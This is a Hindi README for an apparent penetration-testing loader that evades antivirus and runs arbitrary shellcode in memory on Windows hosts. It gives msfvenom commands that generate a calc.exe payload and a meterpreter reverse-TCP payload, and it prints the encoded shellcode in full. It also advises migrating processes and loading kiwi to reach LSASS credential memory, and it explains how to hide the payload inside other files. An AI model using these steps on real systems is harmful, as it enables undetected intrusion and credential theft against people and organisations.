
एंटीवायरस से बचने और लक्ष्य Wintel होस्ट पर मनमाना पेलोड चलाने के लिए पेंटेस्ट टूल
इस कोड से संकलित निष्पादन योग्य (executable) पेनिट्रेशन परीक्षणों के दौरान उपयोगी होता है, जहाँ कुछ payload (जैसे meterpreter) को इस निश्चितता के साथ निष्पादित करने की आवश्यकता होती है कि यह एंटीवायरस सॉफ़्टवेयर द्वारा पता न लगाया जाए। एकमात्र आवश्यकता यह है कि दो फ़ाइलें अपलोड करने में सक्षम हों: binary executable और payload file एक ही निर्देशिका में।
अपना payload (x86) तैयार करें, उदाहरण के लिए:
calc: msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf (आपको वास्तव में किसी एन्कोडर या कैरेक्टर ब्लैकलिस्टिंग का उपयोग करने की आवश्यकता नहीं है, यह वैसे भी काम करेगा)
meterpreter: msfvenom -p windows/meterpreter_reverse_tcp LHOST=... -a x86 -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf
payload फ़ाइल [executable-name-without-exe-extension].mf को निष्पादन योग्य के समान निर्देशिका में कॉपी करें
उपरोक्त कमांड का उपयोग करके calc.exe चलाने वाला payload:
# calc.exe
\xbb\x28\x30\x85\x5b\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x5a\x0e\x03\x72\x3e\x67\xae\x7e\xd6\xee\x51\x7e\x27\x91\xd8\x9b\x16\x83\xbf\xe8\x0b\x13\xcb\xbc\xa7\xd8\x99\x54\x33\xac\x35\x5b\xf4\x1b\x60\x52\x05\xaa\xac\x38\xc5\xac\x50\x42\x1a\x0f\x68\x8d\x6f\x4e\xad\xf3\x80\x02\x66\x78\x32\xb3\x03\x3c\x8f\xb2\xc3\x4b\xaf\xcc\x66\x8b\x44\x67\x68\xdb\xf5\xfc\x22\xc3\x7e\x5a\x93\xf2\x53\xb8\xef\xbd\xd8\x0b\x9b\x3c\x09\x42\x64\x0f\x75\x09\x5b\xa0\x78\x53\x9b\x06\x63\x26\xd7\x75\x1e\x31\x2c\x04\xc4\xb4\xb1\xae\x8f\x6f\x12\x4f\x43\xe9\xd1\x43\x28\x7d\xbd\x47\xaf\x52\xb5\x73\x24\x55\x1a\xf2\x7e\x72\xbe\x5f\x24\x1b\xe7\x05\x8b\x24\xf7\xe1\x74\x81\x73\x03\x60\xb3\xd9\x49\x77\x31\x64\x34\x77\x49\x67\x16\x10\x78\xec\xf9\x67\x85\x27\xbe\x88\x67\xe2\xca\x20\x3e\x67\x77\x2d\xc1\x5d\xbb\x48\x42\x54\x43\xaf\x5a\x1d\x46\xeb\xdc\xcd\x3a\x64\x89\xf1\xe9\x85\x98\x91\x6c\x16\x40\x78\x0b\x9e\xe3\x84
एक बार निष्पादन योग्य चलने पर, payload फ़ाइल को पार्स किया जाएगा, एक अलग थ्रेड में लोड किया जाएगा और मेमोरी में निष्पादित किया जाएगा:

x86 बाइनरी x86 और x86_64 दोनों Windows सिस्टम पर चलेगा। फिर भी, आपको x86 आर्किटेक्चर ही उपयोग करना होगा। हालाँकि, x86 meterpreter payload को x86_64 प्रक्रियाओं में माइग्रेट किया जा सकता है। उसके बाद, load kiwi x86_64 संस्करण लोड करेगा, जिससे LSASS प्रक्रिया मेमोरी के रसदार सामग्री तक पहुँच संभव हो जाएगी :)

.mf payload फ़ाइल को अस्पष्ट (obfuscated) किया जा सकता है - पार्सर \xHH हेक्साडेसिमल अनुक्रमों के अलावा हर कैरेक्टर को अनदेखा करेगा। इसका मतलब है कि आप अपने payload को लगभग किसी भी फ़ाइल में जोड़ सकते हैं, इसे पंक्तियों के बीच छिपा सकते हैं या अपनी टिप्पणियाँ भी जोड़ सकते हैं, उदाहरण:
